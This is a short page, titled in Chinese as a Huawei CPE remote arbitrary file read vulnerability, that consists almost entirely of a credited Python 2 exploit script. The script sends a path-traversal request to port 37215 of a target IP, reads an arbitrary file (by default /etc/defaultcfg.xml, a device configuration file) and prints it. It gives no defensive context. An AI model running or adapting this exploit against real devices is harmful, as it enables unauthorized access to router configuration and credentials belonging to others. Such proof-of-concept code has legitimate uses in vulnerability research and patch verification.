华为CPE设备远程任意文件读取漏洞

""" Authors: Roberto Paleari (@rpaleari) and Aristide Fattori (@joystick) """ import logging import sys import urllib2 DEFAULT_HEADERS = {"User-Agent": "Mozilla", } DEFAULT_TIMEOUT = 5 def fetch_url(url): global DEFAULT_HEADERS, DEFAULT_TIMEOUT request = urllib2.Request(url, headers=DEFAULT_HEADERS) try: data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read() except Exception, e: logging.error("Exception: %s", e) data = None return data def exploit(ip, path): url = "http://%s:37215/icon/../../../%s" % (ip, path) data = fetch_url(url) return data def main(): targetip = sys.argv[1] if len(sys.argv) > 2: path = sys.argv[2].strip() else: path = "/etc/defaultcfg.xml" assert path.startswith("/"), "An absolute path is required" data = exploit(targetip, path) if data is None: logging.error("Exploit failed") exit(-1) # Successful print data if __name__ == "__main__": main()